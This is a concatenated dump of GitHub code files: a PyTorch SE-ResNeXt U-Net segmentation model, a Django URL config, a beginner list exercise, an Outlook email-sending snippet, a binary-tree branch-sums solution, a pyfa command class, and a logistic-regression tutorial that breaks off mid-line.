    super(SelfAttentionBlock2D, self).__init__(in_channels,\n                                                   key_channels,\n                                                   value_channels,\n                                                   out_channels,\n                                                   scale)\nclass BaseOC_Context_Module(nn.Module):\n    \"\"\"\n    Output only the context features.\n    Parameters:\n        in_features / out_features: the channels of the input / output feature maps.\n        dropout: specify the dropout ratio\n        fusion: We provide two different fusion method, \"concat\" or \"add\"\n        size: we find that directly learn the attention weights on even 1/8 feature maps is hard.\n    Return:\n        features after \"concat\" or \"add\"\n    \"\"\"\n\n    def __init__(self, in_channels, out_channels, key_channels, value_channels, dropout, sizes=([1])):\n        super(BaseOC_Context_Module, self).__init__()\n        self.stages = []\n        self.stages = nn.ModuleList(\n            [self._make_stage(in_channels, out_channels, key_channels, value_channels, size) for size in sizes])\n        self.conv_bn_dropout = nn.Sequential(\n            nn.Conv2d(in_channels, out_channels, kernel_size=1, padding=0),\n            nn.BatchNorm2d(out_channels),\n            nn.ReLU(),\n        )\n\n    def _make_stage(self, in_channels, output_channels, key_channels, value_channels, size):\n        return SelfAttentionBlock2D(in_channels,\n                                    key_channels,\n                                    value_channels,\n                                    output_channels,\n                                    size)\n\n    def forward(self, feats):\n        priors = [stage(feats) for stage in self.stages]\n        context = priors[0]\n        for i in range(1, len(priors)):\n            context += priors[i]\n        output = self.conv_bn_dropout(context)\n        return output\nclass ASP_OC_Module(nn.Module):\n    def __init__(self, features, out_features=512, dilations=(12, 24, 36)):\n        super(ASP_OC_Module, self).__init__()\n        self.context = nn.Sequential(nn.Conv2d(features, out_features, kernel_size=3, padding=1, dilation=1, bias=True),\n                                     nn.BatchNorm2d(out_features),\n                                     nn.ReLU(),\n                                     BaseOC_Context_Module(in_channels=out_features, out_channels=out_features,\n                                                           key_channels=out_features // 2, value_channels=out_features,\n                                                           dropout=0, sizes=([2])))\n        self.conv2 = nn.Sequential(nn.Conv2d(features, out_features, kernel_size=1, padding=0, dilation=1, bias=False),\n                                   nn.BatchNorm2d(out_features),\n                                   nn.ReLU(),)\n        self.conv3 = nn.Sequential(\n            nn.Conv2d(features, out_features, kernel_size=3, padding=dilations[0], dilation=dilations[0], bias=False),\n            nn.BatchNorm2d(out_features),\n            nn.ReLU(),)\n        self.conv4 = nn.Sequential(\n            nn.Conv2d(features, out_features, kernel_size=3, padding=dilations[1], dilation=dilations[1], bias=False),\n            nn.BatchNorm2d(out_features),\n            nn.ReLU(),)\n        self.conv5 = nn.Sequential(\n            nn.Conv2d(features, out_features, kernel_size=3, padding=dilations[2], dilation=dilations[2], bias=False),\n            nn.BatchNorm2d(out_features),\n            nn.ReLU(),)\n\n        self.conv_bn_dropout = nn.Sequential(\n            nn.Conv2d(out_features * 5, out_features, kernel_size=1, padding=0, dilation=1, bias=False),\n            nn.BatchNorm2d(out_features),\n            nn.ReLU(),\n            nn.Dropout2d(0.1)\n        )\n\n    def _cat_each(self, feat1, feat2, feat3, feat4, feat5):\n        assert (len(feat1) == len(feat2))\n        z = []\n        for i in range(len(feat1)):\n            z.append(torch.cat((feat1[i], feat2[i], feat3[i], feat4[i], feat5[i]), 1))\n        return z\n\n    def forward(self, x):\n        if isinstance(x, Variable):\n            _, _, h, w = x.size()\n        elif isinstance(x, tuple) or isinstance(x, list):\n            _, _, h, w = x[0].size()\n        else:\n            raise RuntimeError('unknown input type')\n\n        feat1 = self.context(x)\n        feat2 = self.conv2(x)\n        feat3 = self.conv3(x)\n        feat4 = self.conv4(x)\n        feat5 = self.conv5(x)\n\n        if isinstance(x, Variable):\n            out = torch.cat((feat1, feat2, feat3, feat4, feat5), 1)\n        elif isinstance(x, tuple) or isinstance(x, list):\n            out = self._cat_each(feat1, feat2, feat3, feat4, feat5)\n        else:\n            raise RuntimeError('unknown input type')\n\n        output = self.conv_bn_dropout(out)\n        return output\n\nclass SENet(nn.Module):\n    def __init__(self, block, layers, groups, reduction, dropout_p=0.2,\n                 inplanes=128, input_3x3=True, downsample_kernel_size=3,\n                 downsample_padding=1, num_classes=None):\n\n        super(SENet, self).__init__()\n        self.inplanes = inplanes\n        if input_3x3:\n            layer0_modules = [\n                ('conv1', nn.Conv2d(3, 64, 3, stride=2, padding=1,\n                                    bias=False)),\n                ('bn1', nn.BatchNorm2d(64)),\n                ('relu1', nn.ReLU(inplace=True)),\n                ('conv2', nn.Conv2d(64, 64, 3, stride=1, padding=1,\n                                    bias=False)),\n                ('bn2', nn.BatchNorm2d(64)),\n                ('relu2', nn.ReLU(inplace=True)),\n                ('conv3', nn.Conv2d(64, inplanes, 3, stride=1, padding=1,\n                                    bias=False)),\n                ('bn3', nn.BatchNorm2d(inplanes)),\n                ('relu3', nn.ReLU(inplace=True)),\n            ]\n        else:\n            layer0_modules = [\n                ('conv1', nn.Conv2d(3, inplanes, kernel_size=7, stride=2,\n                                    padding=3, bias=False)),\n                ('bn1', nn.BatchNorm2d(inplanes)),\n                ('relu1', nn.ReLU(inplace=True)),\n            ]\n        # To preserve compatibility with Caffe weights `ceil_mode=True`\n        # is used instead of `padding=1`.\n        # layer0_modules.append(('pool', nn.MaxPool2d(3, stride=2,\n        #                                             ceil_mode=True)))\n        self.layer0 = nn.Sequential(OrderedDict(layer0_modules))\n        self.layer1 = self._make_layer(\n            block,\n            planes=64,\n            blocks=layers[0],\n            groups=groups,\n            reduction=reduction,\n            downsample_kernel_size=1,\n            downsample_padding=0\n        )\n        self.layer2 = self._make_layer(\n            block,\n            planes=128,\n            blocks=layers[1],\n            stride=2,\n            groups=groups,\n            reduction=reduction,\n            downsample_kernel_size=downsample_kernel_size,\n            downsample_padding=downsample_padding\n        )\n        self.layer3 = self._make_layer(\n            block,\n            planes=256,\n            blocks=layers[2],\n            stride=2,\n            groups=groups,\n            reduction=reduction,\n            downsample_kernel_size=downsample_kernel_size,\n            downsample_padding=downsample_padding\n        )\n        self.layer4 = self._make_layer(\n            block,\n            planes=512,\n            blocks=layers[3],\n            stride=2,\n            groups=groups,\n            reduction=reduction,\n            downsample_kernel_size=downsample_kernel_size,\n            downsample_padding=downsample_padding\n        )\n        self.avg_pool = nn.AvgPool2d(7, stride=1)\n        self.dropout = nn.Dropout(dropout_p) if dropout_p is not None else None\n        # if num_classes:\n        #     self.last_linear = nn.Linear(512 * block.expansion, num_classes)\n\n    def _make_layer(self, block, planes, blocks, groups, reduction, stride=1,\n                    downsample_kernel_size=1, downsample_padding=0):\n        downsample = None\n        if stride != 1 or self.inplanes != planes * block.expansion:\n            downsample = nn.Sequential(\n                nn.Conv2d(self.inplanes, planes * block.expansion,\n                          kernel_size=downsample_kernel_size, stride=stride,\n                          padding=downsample_padding, bias=False),\n                nn.BatchNorm2d(planes * block.expansion),\n            )\n\n        layers = []\n        layers.append(block(self.inplanes, planes, groups, reduction, stride,\n                            downsample))\n        self.inplanes = planes * block.expansion\n        for i in range(1, blocks):\n            layers.append(block(self.inplanes, planes, groups, reduction))\n\n        return nn.Sequential(*layers)\n\nclass Bottleneck(nn.Module):\n    \"\"\"\n    Base class for bottlenecks that implements `forward()` method.\n    \"\"\"\n\n    def forward(self, x):\n        residual = x\n\n        out = self.conv1(x)\n        out = self.bn1(out)\n\n        out = self.relu(out)\n\n        out = self.conv2(out)\n        out = self.bn2(out)\n        out = self.relu(out)\n\n        out = self.conv3(out)\n        out = self.bn3(out)\n\n        if self.downsample is not None:\n            residual = self.downsample(x)\n\n        out = self.se_module(out) + residual\n        out = self.relu(out)\n\n        return out\nclass SEResNeXtBottleneck(Bottleneck):\n    \"\"\"\n    ResNeXt bottleneck type C with a Squeeze-and-Excitation module.\n    \"\"\"\n    expansion = 4\n\n    def __init__(self, inplanes, planes, groups, reduction, stride=1,\n                 downsample=None, base_width=4):\n        super(SEResNeXtBottleneck, self).__init__()\n        width = int(math.floor(planes * (base_width / 64.)) * groups)\n        self.conv1 = nn.Conv2d(inplanes, width, kernel_size=1, bias=False,\n                               stride=1)\n        self.bn1 = nn.BatchNorm2d(width)\n        self.conv2 = nn.Conv2d(width, width, kernel_size=3, stride=stride,\n                               padding=1, groups=groups, bias=False)\n        self.bn2 = nn.BatchNorm2d(width)\n        self.conv3 = nn.Conv2d(width, planes * 4, kernel_size=1, bias=False)\n        self.bn3 = nn.BatchNorm2d(planes * 4)\n        self.relu = nn.ReLU(inplace=True)\n        self.se_module = SEModule(planes * 4, reduction=reduction)\n        self.downsample = downsample\n        self.stride = stride\n\ndef se_resnext101_32x4d(pretrained=True):\n    model = SENet(SEResNeXtBottleneck, [3, 4, 23, 3], groups=32, reduction=16,\n                  dropout_p=None, inplanes=64, input_3x3=False,\n                  downsample_kernel_size=1, downsample_padding=0)\n    if pretrained:\n        url = 'http://data.lip6.fr/cadene/pretrainedmodels/se_resnext101_32x4d-3b2fe3d8.pth'\n        pretrained_dict = model_zoo.load_url(url)\n        model_dict = model.state_dict()\n        #pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict}\n        for key in pretrained_dict.keys():\n            if 'last_linear' in key:\n                print(key)\n                continue\n            model_dict[key] = pretrained_dict[key]\n        model.load_state_dict(model_dict)\n        print(\"-----pretrain success_____\")\n    return model\n\nclass Decoder(nn.Module):\n    def __init__(self, in_channels, channels, out_channels ,OC=False,dilation=(4,8,12)):\n        super(Decoder, self).__init__()\n        self.oc=OC\n        self.conv1 =  ConvBn2d(in_channels,  channels, kernel_size=3, padding=1)\n        self.conv2 =  ConvBn2d(channels, out_channels, kernel_size=3, padding=1)\n        # self.conv1 = ConvBn2dV2(in_channels, channels, kernel_size=3, padding=1)\n        # self.conv2 = ConvBn2dV2(channels, out_channels, kernel_size=3, padding=1)\n        self.context = nn.Sequential(\n                ASP_OC_Module(out_channels,out_channels,dilations=dilation)\n                )\n        # self.context = nn.Sequential(\n        #     nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1),\n        #     nn.BatchNorm2d(out_channels),\n        #     nn.ReLU(),\n        #     BaseOC_Module(in_channels=out_channels, out_channels=out_channels, key_channels=out_channels//2, value_channels=out_channels-out_channels//2,\n        #                   dropout=0.05, sizes=([1]))\n        # )\n        self.scse_gate = SCSEBlock(out_channels)\n\n\n    def forward(self, x):\n\n        x = F.relu(self.conv1(x), inplace=True)\n        x = F.relu(self.conv2(x), inplace=True)\n        if self.oc:\n            y = self.context(x)\n        # x= self.conv1(F.elu(x,inplace=True))\n        # x = self.conv2(F.elu(x, inplace=True))\n        x = self.scse_gate(x)\n        if self.oc:\n            return torch.cat((x,y),1)\n        else:\n            return x\n\nclass Unet_scSE_hyper(nn.Module):\n    # def load_pretrain(self, pretrain_file):\n    #     pretrain_dict = torch.load(pretrain_file)\n    #     state_dict = {}\n    #     keys = list(pretrain_dict.keys())\n    #     for key in keys:\n    #         if 'last_layer' in key:\n    #             continue\n    #         state_dict[(key)] = pretrain_dict[key]\n    #     self.encoder.load_state_dict(state_dict)\n\n    def __init__(self,class_num = 17,dilation=False):\n        super().__init__()\n        self.dilation = dilation\n        self.encoder =se_resnext101_32x4d()\n        self.encoder1 = self.encoder.layer0\n        #self.encoder1 = self.encoder.conv1\n        self.encoder2 = self.encoder.layer1  # 256\n        self.encoder3 = self.encoder.layer2  # 512\n        self.encoder4 = self.encoder.layer3  # 1024\n        self.encoder5 = self.encoder.layer4  # 2048\n        self.center = nn.Sequential(\n            ConvBn2d(2048, 1024, kernel_size=3, padding=1),\n            nn.ReLU(inplace=True),\n            ConvBn2d(1024, 512, kernel_size=3, padding=1),\n            nn.ReLU(inplace=True),\n            nn.MaxPool2d(kernel_size=2, stride=2)\n        )\n        if self.dilation:\n            self.center1 = nn.Sequential(\n                ConvBn2d(512, 512, kernel_size=3, padding=2, dilation=2),\n                nn.ReLU(inplace=True)\n            )\n            self.center2 = nn.Sequential(\n                ConvBn2d(512, 512, kernel_size=3, padding=4, dilation=4),\n                nn.ReLU(inplace=True)\n            )\n        self.decoder5 = Decoder(2048 + 512, 512, 64,OC=True,dilation=(2,4,6))\n        self.decoder4 = Decoder(128 + 1024, 256, 64,OC=True,dilation=(4,8,12))\n        self.decoder3 = Decoder(128 + 512, 128, 64)\n        self.decoder2 = Decoder(64 + 256, 64, 64)\n        self.decoder1 = Decoder(64, 32, 64)\n\n        self.logit = nn.Sequential(\n            nn.Conv2d(64*7, 64, kernel_size=3, padding=1),\n            nn.ReLU(inplace=True),\n            nn.Conv2d(64,class_num , kernel_size=1, padding=0),\n        )\n\n    def forward(self, x):\n        #print('x',x.size())\n        e1 = self.encoder1(x)  #; print('e1',e1.size())\n        e2 = self.encoder2(e1)   #; print('e2',e2.size())\n        e3 = self.encoder3(e2)   #; print('e3',e3.size())\n        e4 = self.encoder4(e3)   #; print('e4',e4.size())\n        e5 = self.encoder5(e4)   #; print('e5',e5.size())\n        #e1,e2,e3,e4,e5 = self.encoder(x)\n        f = self.center(e5)  #; print('center',f.size())\n        if self.dilation:\n            f1= self.center1(f)#; print('center',f1.size())\n            f2=self.center2(f1)#; print('center',f2.size())\n            # f3=self.center3(f2); print('center',f3.size())\n            # f4=self.center4(f3); print('center',f4.size())\n            #f5=self.center5(f4)\n            f = torch.add(f,1,f1)\n            f = torch.add(f,1,f2)\n        # f=torch.cat((\n        #     f,\n        #     f1,\n            # f2,\n            # f3,\n            # f4,\n        # ),1)\n        f = F.interpolate(f, scale_factor=2, mode='bilinear', align_corners=True)\n        d5 = self.decoder5(torch.cat([f, e5], 1))   #; print('d5',d5.size())\n        d5 = F.interpolate(d5, scale_factor=2, mode='bilinear', align_corners=True)\n        d4 = self.decoder4(torch.cat([d5, e4], 1))   #; print('d4',d4.size())\n        d4 = F.interpolate(d4, scale_factor=2, mode='bilinear', align_corners=True)\n        d3 = self.decoder3(torch.cat([d4, e3], 1))   #; print('d3',d3.size())\n        d3 = F.interpolate(d3, scale_factor=2, mode='bilinear', align_corners=True)\n        d2 = self.decoder2(torch.cat([d3, e2], 1))   #; print('d2',d2.size())\n        d2 = F.interpolate(d2, scale_factor=2, mode='bilinear', align_corners=True)\n        d1 = self.decoder1(d2)   #; print('d1',d1.size())\n        f = torch.cat((\n            d1,\n            F.interpolate(d2, scale_factor=1, mode='bilinear', align_corners=False),\n            F.interpolate(d3, scale_factor=2, mode='bilinear', align_corners=False),\n            F.interpolate(d4, scale_factor=4, mode='bilinear', align_corners=False),\n            F.interpolate(d5, scale_factor=8, mode='bilinear', align_corners=False)\n        ), 1)\n        f = F.dropout2d(f, p=0.20)\n        logit = self.logit(f)   #; print('logit',logit.size())\n        return logit\n\n\n","repo_name":"ZJ96/image_segmentation","sub_path":"models/UNet/UNet_s_h.py","file_name":"UNet_s_h.py","file_ext":"py","file_size_in_byte":22422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"42993417720","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    # var_route\n    path('test/<value>/', views.test),\n    \n    # 입력받고 처리결과 보여주기 \n    path('throw/', views.throw, name='throw'),\n    path('catch/', views.catch, name='catch'),\n]\n","repo_name":"AmberPark/TIL","sub_path":"django/STUDY/study/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"25960837895","text":"# Write a Python program to find the list with maximum and minimum length.\n# Original list:\n# [[0], [1, 3], [5, 7], [9, 11], [13, 15, 17]]\n# List with maximum length of lists:\n# (3, [13, 15, 17])\n# List with minimum length of lists:\n# (1, [0])\n\na=[[0], [1, 3], [5, 7], [9, 11], [13, 15, 17]]\ni=0\nmax=a[0]\nmin=a[0]\nc=0\nwhile i<len(a):\n    j=0\n    while j<len(a[i]):\n        if a[i]<min:\n            min=a[i]\n        else:\n            max=a[i]\n        j+=1\n    i+=1\nprint((len(max),max))\nprint((len(min),min))\n\n","repo_name":"SreelekhaBheemisetti/list","sub_path":"max,min len(list).py","file_name":"max,min len(list).py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"73149786924","text":"import win32com.client\n\n# Initialize Outlook app:\noutlook = win32com.client.Dispatch('outlook.application')\n\n# In outlook, email, meeting invite, calendar, appointment etc... are all considered as Item object\n# Create Outlook email object:\nmail = outlook.CreateItem(0)\n\nmail.To = 'somebody@company.com'\nmail.Subject = 'Sample Email'\nmail.Body = \"This is the normal body\"\n\n# Additional Options:\n#mail.HTMLBody = '<h3>This is HTML Body</h3>'\n#mail.Attachments.Add('c:\\\\sample.xlsx')\n#mail.Attachments.Add('c:\\\\sample2.xlsx')\n#mail.CC = 'somebody@company.com'\n\nif __name__ == '__main__':\n    mail.Send()","repo_name":"Atredies/init-utils","sub_path":"python/smtp/outlook/single_outlook_email.py","file_name":"single_outlook_email.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"21547535197","text":"\"\"\"\neasy\n\nWrite a function that takes in a Binary Tree and returns a list of its\nbranch sums ordered from leftmost branch sum to rightmost branch sum.\n\nA branch sum is the sum of all values in a Binary Tree branch.\nA Binary Tree branch is a path of nodes in a tree that starts at the root node and ends at any leaf node.\n\nEach BinaryTree node has an integer value, a left child node, and a right child node.\nChildren nodes can either be BinaryTree nodes themselves or None / null.\n\nSample Input\ntree =     1\n        /     \\\n       2       3\n     /   \\    /  \\\n    4     5  6    7\n  /   \\  /\n 8    9 10\nSample Output\n[15, 16, 18, 10, 11]\n// 15 == 1 + 2 + 4 + 8\n// 16 == 1 + 2 + 4 + 9\n// 18 == 1 + 2 + 5 + 10\n// 10 == 1 + 3 + 6\n// 11 == 1 + 3 + 7\n\nSolution 1\nTime Complexity: O(n), space complexity: O(n) - n is the nodes in the tree\nStrategy:\nSolve using depth-first search.\nBase case: when left and right nodes are both None,\nadd the current value to the running sum, then append the sum to the output array and return it.\nPass through the output array and running sum to the left and right nodes if they are not None.\nReturn the output array at the end.\n\"\"\"\nimport unittest\n\n\nclass BinaryTree:\n    def __init__(self, value):\n        self.value = value\n        self.left = None\n        self.right = None\n\n\ndef branchSums(root):\n    output = []\n    dfs(root, 0, output)\n    return output\n\ndef dfs(node, running_sum, output):\n    running_sum += node.value\n    if node.left is None and node.right is None:\n        output.append(running_sum)\n        return\n\n    if node.left is not None:\n        dfs(node.left, running_sum, output)\n    if node.right is not None:\n        dfs(node.right, running_sum, output)\n\n\nclass BinaryTree(BinaryTree):\n    def insert(self, values, i=0):\n        if i >= len(values):\n            return\n        queue = [self]\n        while len(queue) > 0:\n            current = queue.pop(0)\n            if current.left is None:\n                current.left = BinaryTree(values[i])\n                break\n            queue.append(current.left)\n            if current.right is None:\n                current.right = BinaryTree(values[i])\n                break\n            queue.append(current.right)\n        self.insert(values, i + 1)\n        return self\n\n\nclass TestProgram(unittest.TestCase):\n    def test_1(self):\n        tree = BinaryTree(1).insert([2, 3, 4, 5, 6, 7, 8, 9, 10])\n        self.assertEqual(branchSums(tree), [15, 16, 18, 10, 11])","repo_name":"ChristianOrr/data-structures-and-algorithms","sub_path":"binary_trees/branch_sums.py","file_name":"branch_sums.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"39623447586","text":"import wx\r\nimport eos.db\r\nfrom logbook import Logger\r\npyfalog = Logger(__name__)\r\n\r\n\r\nclass FitChangeImplantLocation(wx.Command):\r\n    def __init__(self, fitID, source):\r\n        wx.Command.__init__(self, True, \"Drone add\")\r\n        self.fitID = fitID\r\n        self.source = source\r\n        self.old_source = None\r\n\r\n    def Do(self):\r\n        pyfalog.debug(\"Toggling implant source for fit ID: {0}\", self.fitID)\r\n        fit = eos.db.getFit(self.fitID)\r\n        self.old_source = fit.implantSource\r\n        fit.implantSource = self.source\r\n        eos.db.commit()\r\n        return True\r\n\r\n\r\n    def Undo(self):\r\n        cmd = FitChangeImplantLocation(self.fitID, self.old_source)\r\n        return cmd.Do()\r\n","repo_name":"tarr43/m-t-p","sub_path":"gui/fitCommands/calc/fitChangeImplantLocation.py","file_name":"fitChangeImplantLocation.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"71003277162","text":"'''\r\n逻辑回归练习\r\n1. 载入数据\r\n2. 数据处理，图集降维，特征规范化\r\n3. 随机初始化参数\r\n4. 计算代价函数【正向传播】，并计算梯度【反向传播】，\r\n5. 迭代更新参数 【梯度下降】\r\n6. 模型评估\r\n激活函数：sigmoid函数\r\n算法的评估：留一法，k折法，自助法\r\n梯度下降： 小批次梯度下降\r\n使用正则化方法\r\n采用训练集，交叉验证集，测试集的划分数据方式\r\n'''\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport h5py   #是与H5文件中存储的数据集进行交互的常用软件包\r\nfrom lr_utils import load_dataset\r\nimport random\r\n#加载数据集和测试集\r\ntrain_set_x_orig , train_set_y , test_set_x_orig , test_set_y , classes  = load_dataset()\r\n\r\n\r\nm_train  = train_set_y.shape[1]  #训练集的规模，图片数\r\nm_test  = test_set_y.shape[1]    #测试集的规模\r\nnum_px = train_set_x_orig.shape[1]   #图片的规模，大小均为64*64\r\n\"\"\"\r\n#现在看一看我们加载的东西的具体情况\r\nprint (\"训练集的数量: m_train = \" + str(m_train))\r\nprint (\"测试集的数量 : m_test = \" + str(m_test))\r\nprint (\"每张图片的宽/高 : num_px = \" + str(num_px))\r\nprint (\"每张图片的大小 : (\" + str(num_px) + \", \" + str(num_px) + \", 3)\")\r\nprint (\"训练集_图片的维数 : \" + str(train_set_x_orig.shape))\r\nprint (\"训练集_标签的维数 : \" + str(train_set_y.shape))\r\nprint (\"测试集_图片的维数: \" + str(test_set_x_orig.shape))\r\nprint (\"测试集_标签的维数: \" + str(test_set_y.shape))\r\n\"\"\"\r\n#要把numpy数组(a,b,c,d)规模转化为（b*c*d,a),即使用reshape的-1参数，也就是从维数和其他参数中推出剩余参数\r\ntrain_set_x_flatten  = train_set_x_orig.reshape((train_set_x_orig.shape[0],-1)).T\r\ntest_set_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0],-1).T\r\n#print('降维之后的测试集：'+str(test_set_x_flatten.shape))\r\n\r\n\r\n#标准化数据集，特征规范化归一化处理,因为图像数据都是0到255的数据，所以除以255让数据在0到1之内\r\ntrain_set_x = train_set_x_flatten[:,0:150] / 255\r\nverify_set_x = train_set_x_flatten[:,150:209]/255\r\ntest_set_x = test_set_x_flatten / 255\r\n\r\nverify_set_y  = train_set_y[:,150:209]\r\ntrain_set_y  = train_set_y[:,0:150]\r\n#计算激活函数 ，sigmond函数\r\ndef sigmoid(z):\r\n    '''参数：z-任何大小的标量或者numpy数组。实际上z= W.T*x+b\r\n    返回值：s = sigmoid(z)'''\r\n    s = 1 / ( 1+ np.exp(-z))\r\n    return s\r\n\r\n'''\r\n#测试激活函数\r\na = np.array([[0,1,9.2,-9.2,100]])\r\nprint('sigmoid(a):'+str(sigmoid(a)))\r\nprint('log(z):'+str(np.log(sigmoid(a))))\r\nexit()\r\n'''\r\n#初始化参数\r\ndef initialize_with_zeros(dim):\r\n    '''此函数为w创建一个维度为（dim,1）的随机向量，并把b初始化为1\r\n    参数： dim  -  我们想要的w矢量的大小（或者这种情况下的参数数量）\r\n    返回：  w-维度为（dim，1）的随机向量，b-初始化的标量，对应于偏差'''\r\n    w = np.random.rand(dim, 1)*0.01+0.0001\r\n    b = 0\r\n    # 使用断言来确保我要的数据是正确的\r\n    assert (w.shape == (dim, 1))  # w的维度是(dim,1)\r\n    assert (isinstance(b, float) or isinstance(b, int))  # b的类型是float或者是int\r\n\r\n\r\n    return (w,b)\r\n\r\n\r\n#前向传播和后向传播，计算代价函数和梯度\r\ndef propagate(w,b,X,Y,Lambda):\r\n    '''实现前向和后向传播的成本函数及其梯度\r\n    参数：\r\n    w  - 权重，大小不等的数组（num_px * num_px * 3 ,1）\r\n    b  - 偏差，一个标量\r\n    X  - 矩阵类型为（num_px*num_px*3,训练数量）\r\n    Y  - 真正的标签矢量，即监督的正确答案\r\n    Lambda - 正则化系数，是一个超参数\r\n    返回：cost: 逻辑回归的负对数似然成本\r\n          dw :  相对于w的损失梯度\r\n          db：  相对于b的损失梯度'''\r\n    #使用小批次梯度下降,批次为32\r\n    m  = 32\r\n    random_index = random.randint(0,X.shape[1]-m)\r\n    x =X[:,random_index:random_index+m]\r\n    y =Y[:,random_index:random_index+m]\r\n    #正向传播\r\n    A = sigmoid(np.dot(w.T,x)+b) #计算激活函数值，即y\r\n    cost  = (- 1 / m) * np.sum(y * np.log( A )+ ( 1 - y ) *(np.log( 1 - A ))) #计算代价函数值\r\n    #添加正则化项\r\n    cost += (Lambda/(2*m))*np.sum(w * w)\r\n    #反向传播\r\n    #print(x.shape,y.shape,w.shape)\r\n    dw = (1 / m) * np.dot(x,( A - y ).T) + (Lambda / m)* w\r\n    db = (1 / m) * np.sum( A - y)\r\n\r\n    # 使用断言确保我的数据是正确的\r\n    assert (dw.shape == w.shape)\r\n    assert (db.dtype == float)\r\n    cost = np.squeeze(cost) #降维，变成数\r\n    assert (cost.shape == ())\r\n\r\n    #创建字典，保存梯度\r\n    grads  = {'dw':dw,'db':db}\r\n\r\n    return (grads ,cost)\r\n'''\r\n#测试传播过程\r\nprint('===========test  propagate ===============')\r\n#初始化参数\r\nw,b,X,Y = np.array([[1],[2]]),2,np.array([[1,2],[3,4]]),np.array([[1,0]])\r\n#2个样本，2个特征值\r\ngrads ,cost  =  propagate(w,b,X,Y)\r\nprint('dw='+str(grads['dw']))\r\nprint('db='+str(grads['db']))\r\nprint('cost='+str(cost))\r\n'''\r\n\r\n#更新参数，梯度下降\r\ndef optimize(w,b,X,Y,Lambda, num_iterations, learning_rate, print_cost =False):\r\n    '''\r\n    此函数通过运行梯度下降算法来优化w和b\r\n    参数：\r\n      w  -权重，和样本特征值规模相当\r\n      b  -偏差，一个标量\r\n      X  - 维度为（num_px*num_px*3,训练数据的数量）的数组\r\n      Y  - 真正的’标签’矢量\r\n      Lambda - 正则化系数\r\n      num_iterations  -优化循环的迭代次数\r\n      learning_rate    -梯度下降更新的学习率\r\n      print_cost   -每一千步打印一次损失值，绘图\r\n\r\n    返回：\r\n      params   - 包含权重w和偏差b的字典\r\n      grads    - 包含权重w和偏差下降梯度的字典\r\n      costs    - 成本-优化期计算的所有成本列表，用于绘制学习曲线\r\n    '''\r\n    costs = []\r\n    for i in range(num_iterations):\r\n        grads,cost =propagate(w,b,X,Y,Lambda)\r\n\r\n        dw = grads['dw']\r\n        db = grads['db']\r\n        #更新参数\r\n        w = w - learning_rate * dw\r\n        b = b - learning_rate * db\r\n\r\n        #记录成本\r\n        if i%1000 == 0:\r\n            costs.append(cost)\r\n        #打印成本数据\r\n        if (print_cost) and (i%1000 == 0) :\r\n            print('迭代的次数：%i,误差值：%f'%(i,cost))\r\n        #用字典记录参数和梯度\r\n        params  ={'w':w,'b':b}\r\n        grads   = {'dw':dw,'db':db}\r\n\r\n    return (params,grads,costs)\r\n'''\r\n#测试optimize\r\nprint(\"====================测试optimize====================\")\r\nw, b, X, Y = np.array([[1], [2]]), 2, np.array([[1,2], [3,4]]), np.array([[1, 0]])\r\nparams , grads , costs = optimize(w , b , X , Y , num_iterations=100 , learning_rate = 0.009 , print_cost = False)\r\nprint (\"w = \" + str(params[\"w\"]))\r\nprint (\"b = \" + str(params[\"b\"]))\r\nprint (\"dw = \" + str(grads[\"dw\"]))\r\nprint (\"db = \" + str(grads[\"db\"]))\r\n'''\r\n\r\n#输出预测值\r\ndef predict(w,b,X):\r\n    '''\r\n    使用学习逻辑回归参数预测 标签\r\n    :param w:  权重\r\n    :param b:  偏差\r\n    :param X:   训练集数据\r\n    :return:   Y_prediction 包含X中所有图片的所有预测\r\n    '''\r\n    m  = X.shape[1]  #图片的数量\r\n    Y_prediction  = np.zeros((1,m))\r\n    w = w.reshape(X.shape[0],1)\r\n\r\n    #记预测猫在图片中出现的概率\r\n    A = sigmoid(np.dot(w.T ,X)+b)\r\n    for i in range(A.shape[1]):\r\n        if A[0,i] > 0.5:\r\n            Y_prediction[0,i] = 1\r\n        else:\r\n            Y_prediction[0,i] = 0\r\n    assert(Y_prediction.shape == (1,m))\r\n\r\n    return Y_prediction\r\n'''\r\n#测试predict\r\nprint(\"====================测试predict====================\")\r\nw, b, X, Y = np.array([[1], [2]]), 2, np.array([[1,2], [3,4]]), np.array([[1, 0]])\r\nprint(\"predictions = \" + str(predict(w, b, X)))'''\r\n\r\ndef model(X_train,Y_train,X_test,Y_test,X_verify,Y_verify, learning_rate,Lambda,num_iterations=2000,print_cost =False):\r\n    '''\r\n    通过调用之间实现的函数来构建逻辑回归模型\r\n    :param X_train: 训练集\r\n    :param Y_train: 训练标签集\r\n    :param X_test: 测试集\r\n    :param Y_test:  测试标签集\r\n    :param num_iterations: 迭代次数，超参数\r\n    :param learning_rate:   学习率，超参数\r\n    :param print_cost:   设置为true以每100次迭代打印成本\r\n    :return: d--包含有关模型信息的字典\r\n    '''\r\n    #初始化参数\r\n    w ,b =  initialize_with_zeros(X_train.shape[0])\r\n    #通过学习得到参数，梯度和损失\r\n    parameters , grads , costs = optimize(w,b,X_train,Y_train,Lambda,\r\n                                          num_iterations,learning_rate,print_cost)\r\n\r\n    #从字典参数中检索参数w和b\r\n    w,b = parameters['w'],parameters['b']\r\n\r\n    #预测测试集/训练集的例子\r\n    Y_prediction_test = predict(w, b, X_test)\r\n    Y_prediction_verify = predict(w,b,X_verify)\r\n    Y_prediction_train = predict(w, b, X_train)\r\n    # 打印训练后的准确性\r\n    print(\"训练集准确性：\", format(100 - 